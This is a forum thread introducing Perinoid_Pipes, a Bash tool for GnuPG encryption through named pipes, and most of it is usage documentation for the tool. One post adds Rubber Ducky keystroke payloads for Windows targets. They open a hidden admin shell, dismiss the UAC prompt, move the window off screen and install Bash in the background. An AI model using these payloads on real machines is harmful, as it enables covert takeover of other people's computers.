gnupg GnuPG tools for unattended encryption

[S0AndS0]

Salutations Hak5,

I'm S0AndS0 a long time watcher (and big fan) of the various shows that have
 been made available by the Hak5 teem. What is shared here maybe thought of as
 a "tricky treat" for the holiday.

https://github.com/S0AndS0/Perinoid_Pipes

The above project has been documented in detail (because we've heard that the
 show hosts of Hak5 like that out of project authors) and as of latest local &
 remote tests is operating as expected. Simply put this project facilitates
 common encryption & decryption options of GnuPG via a named pipe (similar to
 anonymous pipes `|` but addressable via file path) and a customized listening
 loop that parses incoming data. Think of it as a *short-cut* for operations
 involving public key crypto; for example of normal encryption

   

echo "some secret" | gpg -a -e user@email.host >> out.file

And for comparison an example of encrypting via named pipe file

   

echo "some secret" > /var/log/named.pipe

This allows any service to utilize encryption by way of output redirection;
 logging daemons, web host logging, and/or your own custom services.

So far three usage scenarios have been written but we're hoping that with this
 communities' help we can write at least two more together; perhaps a guide on
 using this tool with Rubber Ducky to automatically encrypt data off a target
 to either a second storage device or to the Ducky it's self.

Notes for beginners;

If you (the reader) are new or unfamiliar with encryption via GnuPG then ya may
 want to start with the documents in above code repo that begin with `Gnupg_`
 after coming to terms with the options available then check the script's help
 documentation via the following commands

    chmod u+x Paranoid_Pipes
    ./Paranoid_Pipes --help

Use the output from above to modify your next commands, add `--help` at the end
 to check your settings prior to committing to them. Easy as pie.

Notes for Moderators;

If this has been posted in the wrong section please move or notify the OP's
 author to move it to the proper section. This tool has been shared with the
 this community in the hopes that readers will find it useful but without
 warranties of any kind.

Notes for Show Hosts;

If you wish to include this tool within a publication then you have permission,
 prematurely given, to utilize any of the tools found in the above code
 repository for either your own projects or for featuring the main project
 itself.

 

[S0AndS0]

Notes to future readers of this message:

 

I had spellcheck turned off for this post, it is so late in my neck of the woods that it is early now, and I've been without decent sleep for so many months that some of the bellow post may not be coherant without latter editing... though it looks like posts here are non-editable, oh-boy this will be good...

 

# Updates on the subject of RubberDucy;

 

I've cobled togeather a payload script for targeting Windows 10 64-bit which can now be found under the following linked project directory

https://github.com/S0AndS0/Perinoid_Pipes/tree/master/Script_Helpers/Rubber_Ducky_USB

The above script is untested (I'm not cool enough to roll with Windows anymore and do not currently own a Ducky) but is likely usable for testing on a network connected target. This also includes some privalage esclation tricks that should work on Windows 7+ that should be new to the Ducky users as I couldn't find'em in the WiKi, so be sure to at least check that portion out.

 

# Updates on the subject of new scenarios:

 

A new one has been written for those that would like to have some encryption to go with their side of encryption... Uses example named pipe listener scripts from scenario two but uses sshfs instead of chroot jails to seperate logging server from monitoring server. Binofits of this setup over scenario two's are if the logging server is compermized attackers will still have to find the decrypting server and comperize that as well to gain access to past logs and if a temperary desconect does happen the logging still takes place but is saved in encrypted format until rotation or reconnect. I'll still have to document the steps of recovering after impromtu disconect but all the relovent peaces to this puzle are already avalable.

[S0AndS0]

# Rubber Ducky example code

So as to keep related content accessible here. Here is an example of preposed
 privilege escalation steps pulled out from above linked script.

## Example one

REM Hit 'Windows'+'r' to open run menu
GUI r
REM Let the target catch up
DELAY 500
REM Send string to 'run' text box to initialize local shell in hard to read format
STRING cmd /Q /D /T:7F /F:OFF /V:ON /K
REM Let the target catch up
DELAY 500
REM Execute as Admin via instruction from: http://www.howtogeek.com/howto/windows-vista/run-a-command-as-administrator-from-the-windows-vista-run-box/
CONTROL SHIFT ENTER
REM Let the target catch up
DELAY 500
REM Get rid of auth-pop-up
ALT c
REM Let the target catch up
DELAY 500
REM Do not forget to move the terminal window off screen and then send payload

## Notes on above code block

The above block of code should be placed after mounting wait time and before
 moving the terminal window commands. However, the additional windows popping
 up and closing quickly may make this very *loud*, if attempting this you'll
 likely need a distraction ready.

## Example two

The other bit of nifty code from above linked project that is worth pulling out
 and showing here are the steps for getting Bash installed on Windows 10 64-bit
 targets. These steps come after changing directories to '%TEMP%' such that
 output or downloads or payloads can be quickly saved without complaint.

REM Use: START "" /B <Program>
REM To background a program such that ^Break is the only way to interrupt
REM Put a string between double quotes to re-title the window or put
REM  nothing at all there to have the window title bar be blank
STRING START "" /B lxrun /install /y && START "" /B bash -c "sudo apt-get update" 1>log.txt 2>1&
REM Use: 1>log.txt 2>1&
REM At the end to capture output to a file. We can use this in a while or until
REM  loop to detect when the above sequence of commands has finished if clever.

## Notes on above code block

I'm not so sure about the redirection trick working on Windows, but the other
 bits should be sound. From what I've come to understand, privilege will need
 to be osculated to Administrator for the above block of code to install Bash,
 however, it should be useful for non-privileged execution of code without it.

## Thought wrap-up

I'll be making one more editing push to the above linked directory for Windows
 after that it is up to testers to report if code needs any further touch-ups or
 re-designe. Readers of these messages should be free with questions if any or
 submit issues on git if there are bugs.

 

[S0AndS0]

So after reading above if things are still unclear; effectively the project uses the following listed scripts to provide specific automation steps with GnuPG.Links to relevant code have been provided at the point of introduction within this post and any of the following example commands are run from the perspective of the next steps having already been preformed.

## Make new non-sudo user for testing
adduser someuser
## Login new non-sudo user
login someuser
## Change directories to a download dir
cd ~/Downloads
## Download project scripts and documentation
git clone https://github.com/S0AndS0/Perinoid_Pipes
## Change directories to project "root" dir
cd Perinoid_Pipes
echo "${PWD}" ## Should report: ~/Downloads/Perinoid_Pipes

While not required to make a brand new user account it is suggested for some of the following scripts to mitigate risks to your primary GnuPG key ring or configurations.

1. Helper script - GnuPG_Gen_Key.sh is used internally by the Travis-CI auto build processes within the before_script_gen_keys.sh to provide other scripts of this project a fresh key pair for testing with. Intended for generating new GnuPG key pares and the related revoke cert with little to no user interaction after given command line options to parse. The reason the above was written (aside from it being required to test other operations on Travis-CI within this project) was to allow users of this project to easily setup GnuPG keys specific to any process they wished logged to an encrypted file. Users need not trust this script's project with any primary GnuPG keys, ever, because temp keys can be made or revoked at any time within the matter of minuets. While it is possible to have newly generated keys automatically uploaded to a key server of your choice via this script it is recommended to instead transfer the public key through other means to the host preforming encrypted logging. Lastly, if the pub-key upload to server option is enabled this script also automatically warns users if (on the off chance) the new key pair conflicts with ones already downloadable from that key server; collision checking is basic but one day someone might be lucky enough to pop that error when using the upload features of this helper script.

Example commands for GnuPG_Gen_Key.sh

## Generate new key pare with auto generated passphrase printed to terminal
Script_Helpers/GnuPG_Gen_Key.sh --prompt-for-pass-yn='no' --gnupg-name="${USER}" --gnupg-email='log_one@host.domain' --help
## Generate new key pare with custom passphrase prompted from user
Script_Helpers/GnuPG_Gen_Key.sh --gnupg-name="${USER}" --gnupg-email='log_two@host.domain' --help

Some adjustment of the other options maybe required so once done modifying remove `--help` from either of above to run instead of print current values.

2. Main script - Paranoid_Pipes.sh is used internally by the Travis-CI auto build processes within the script_encrypt.sh during auto-build processes. To enable encrypting encrypting files, directories or strings of data using GnuPG public keys. Requested on a few Q&A boards as "one way" encryption, this script is capable of reading from a named pipe file and outputting encrypted results to either a specified directory, when handling files or directories, or (if not either file or directory) append an encrypted packet to a log file. By default this script uses the `--armor` option internally to avoid outputting non-printable stuff to user's terminal as well as providing helper scripts the needed header and footer strings to parse between encrypted data blocks. While the files and directories processed by this script are easy enough to retrieve using the related private key on another system the appended encrypted output file for arbitrary data is a bit tougher, which is why the next tool will be mentioned.For those interested in how the magic is made, look to `Func_mkpipe_reader` & `Map_read_array_to_output` functions and how they match between different input read off it's named pipe file. Note outputting to terminal will disable file and directory checks for now as this is currently not a priority feature.

Example commands for main script

## Print script options to terminal
Paranoid_Pipes.sh --help

 

As this script is still under heavy development you'll want to check the above output and adjust options as needed. Suggestions for improvement are most welcomed and encouraged here.

Example commands to retrieve encrypted files & directories

## Decrypt previously encrypted recognized file
gpg -d etchosts.gpg >> /tmp/hosts_server.bak
## Decrypt previously encrypted recognized directory
mkdir -p /tmp/user_backups
cd /tmp/user_backups
gpg -d /mnt/sdcard/homeuserDocuments.gpg | tar -xf

Note that file path delimiters by default are removed by this main script when recognized files or directories are written to it's named pipe file; this could likely be improved or change in the future. Additionally the above are intended to be run on the device performing decryption where as the bellow are intended to show how the device used only for encryption would have made the above back-ups, under most usage conditions the two shouldn't be the same device.

Example write commands that may have caused above files to be backed-up

## Backup customized host configs for server
someserver@somehost:~$ echo "/etc/hosts" > /tmp/backup_encrypter.pipe
## Backup server setup notes for current user
someserver@somehost:~$ echo "${HOME}/Documents" > /tmp/backup_encrypter.pipe
## See above example commands for decryption steps

The above two blocks of example commands will of course need adjustment, ei the `/tmp/backup_encrypter.pipe` should point to the named pipe file that the main script of this project is listening on.

3. Helper script - Paranoid_Pipes_Scenario_One.sh is used internally by the Travis-CI auto build processes within the script_decrypt.sh for retrieving files with multiple encrypted (`--armor`ed) data blocks. And within the Travis-CI script test_search_script_decrypt.sh for retrieving and only outputting searched for lines from decrypted data. This script maybe re-named in the future so do be aware that the above script link may `404` out, when and if that happens updates will be posted here eventually. For this script it is not advised to use your primary keys as it will be handling the private key's passphrase in order to decrypt every block given.

Example commands to decrypt data from encrypted logs

## Decrypt entire log file that was encrypted by main script
Script_Helpers/Paranoid_Pipes_Scenario_One.sh --pass="passphrase-or-file" --input-file="/mnt/sdcard/error.log.gpg" --output-file="/tmp/server_error.log" --help
## Decrypt only matching lines from log file encrypted by main script
Script_Helpers/Paranoid_Pipes_Scenario_One.sh --search-output="string of charters to search for" --pass="passphrass-or-file" --input-file="/mnt/sdcard/error.log.gpg" --output-file="/tmp/parsed_server_error.log" --help
## Remove --help option from above to run instead of check options

Example command that may have generated above log file

## Write a header to log file
echo "Started log service at: $(date -u)" > /tmp/backup_encrypter.pipe
## Write multiple lines to log file instead
cat > /tmp/backup_encrypter.pipe <<EOF
User: ${USER}
Setup log encryption redirection service for: some-server
Started encrypted redirection at: $(date -u)
EOF
## Concatenate multi-line file instead
cat /some/file > /tmp/backup_encrypter.pipe

The above three commands are only examples of how to write arbitrary lengths of data to a named pipe file for encryption with this project's main script listening loops, logging services and web servers are usually capable of writing to named pipes so long as permissions are correct too. Most of of the above mentioned features can be verified by checking Travis-CI build logs More specific to decryption searching features, check the build logs for 174314486 and search for the string `bTSyJpzLct1m63EUlHOf9Tz4lVjlWg8S` (the second random text string written to the encrypting named pipe script combo) you'll find that the searching for text within an encrypted log file currently works as designed. This search functionality was designed into the helper script such that only matched strings of decrypted data are saved to output or are presented to users because storage space maybe limited on user's decryption device. One feature still being worked on is de-padding decrypted data, if the main script used for encryption has it's padding features enabled (normally disabled by default), then this helper script can't remove lines added below or above input; only data pre-pended or appended can currently be removed with this helper script. But that may all change soon, either the extra features will be removed from the main script or the de-padding will be fixed within the helper script. In short, don't enable padding features of either if you don't want the possibility of corruption to data.

Warnings to users of this project are provided as the opinions relation to the security implications of this project. However, as of the time of this posting no third party review has been preformed. So potential users should be warned most against sending important data through any of this project's scripts for now. For example (but not excluding other usage cases), while you could use this as a password manager via encryption and searchable decryption, data retention and accessibility is very much a user by user responsibility and not in any way a responsibility of this project's authors.

Current Licensing for the project specific scripts and documentation have been release under the most compatible open source licensing that could be found for software that it makes the most intimate use of. The only limitations currently (other than your own local laws, we're not experts on that) are on the documentation specific to this project and those limitations maybe lifted in the future. Unless otherwise updated here via a GnuPG signed post fitting my writing style and current project related keys, readers should also be aware of one final thing about the licensing of this project. If the core authors of this project fail to make signed changes to the above project within 96 hours of the last singed commit change recoded by GitHub, then it can be assumed that authors of this project are no longer able to maintain this project. Any previous licensing for documentation related to "Title Page" should be thus be removed at that time by any code forks. In other words if this project is "abandoned" for longer than specified above then those that wish to fork this project are no longer requested to maintain links back to the original author's support page. This condition is to ensure that project abandonment or authors' inability to continue maintenance does not also mean stagnation to the code or documentation that other authors may wish to contribute to under their own code repositories.

[S0AndS0]

-----BEGIN PGP SIGNED MESSAGE-----

Hash: SHA512

 

Updates

 

Version 2.0 (stablish) brings some changes

 

- - Command line options for main script have been changed. This is because the helper script for decryption has been merged into the main script and padding options removed. Use `--help` option and reference repository documentation for the most updated information.

 

- - Looks like post editing has been enabled for this account, readers can expect that previous posts will eventually be updated with more current information as authors have time and energy.

 

- - Project abandonment definitions are being modified, readers and cloners of the above project can expect a new testing branch to be pushed in a few days and that the "master" branch will stay *stable* for longer periods of time than previously specified so be sure to check for a testing branch before calling this project abandoned.

 

- - New project for VPN server/client configuration automation has been made publicly available, repo named Perinoid_WiFi, though documentation is sparse on all it's uses it is nearing a finished state for scripted features built from notes and tests with related software.

-----BEGIN PGP SIGNATURE-----

 

iQJGBAEBCgAwKRxNaWNoYWVsIE5BIDxzdHJhbmdlcnRoYW5ibGFuZEBnbWFpbC5j

b20+BQJYXYJJAAoJEC4l5SAQrQ4fp7YP+wcQjITqW+QhCh4PXbwgpAjqWOzD92+u

kUB6cF7ZH7B9hFBIbGvwawOIAI/lL0A1PLC3tKeA1JVnnTuEd4vAKyqSPNGB8Gti

pYkSL+TMBdp7sp9aaO2V/zw1WfVZiqGL+Mngtbe66tBYjwj2erFWOi8YKYC3r7uT

fnlGGeY10KhTPGiTYu+YJeiF3Khlpgu6uMV8Iv8fEdUTVetiZ9d6MxcE5D2SscG0

RShaPkiseYhdUfNNLGRPvcACPuynUNArapwL7/vBfD9+oEEFiQhNmqgowZtPn785

jnedPSFO7kZr7Q1y64HF0RaCIk2rBFXRPJKQHXStXvacc6l/eC3PnVTzoaaHnjl5

WR5VftJTJ13D82zMuDj6fqPHr0NGOsFaf7qO36tQp9cKFxvHKZPJGZ0+4NqAXZgM

R0gvcWG+DSm60qfUF5qAT04L5Fh9KztPBCr8LTIHxl7B0vHVeurKch1tYiMmgNO1

+s4biRXpf3CNsiXPtBVvlPKFpiVHO9r4T8eZhu+c2Ju0GulohBcqvSOQ3xwhCdJk

ddHZGAJrk51P3COwLHxN0niUXpKF7GhonhhRdK/AkqTIK9CGtfc5BXEllCfUrv5x

4KaKyi19fii8B7tnZ+bgQt9PYe05q6m3PZOG9y7OPbrtno83ec/gAwpMHpmsjRr0

9kjsIRlEEBTg

=iV9c

-----END PGP SIGNATURE-----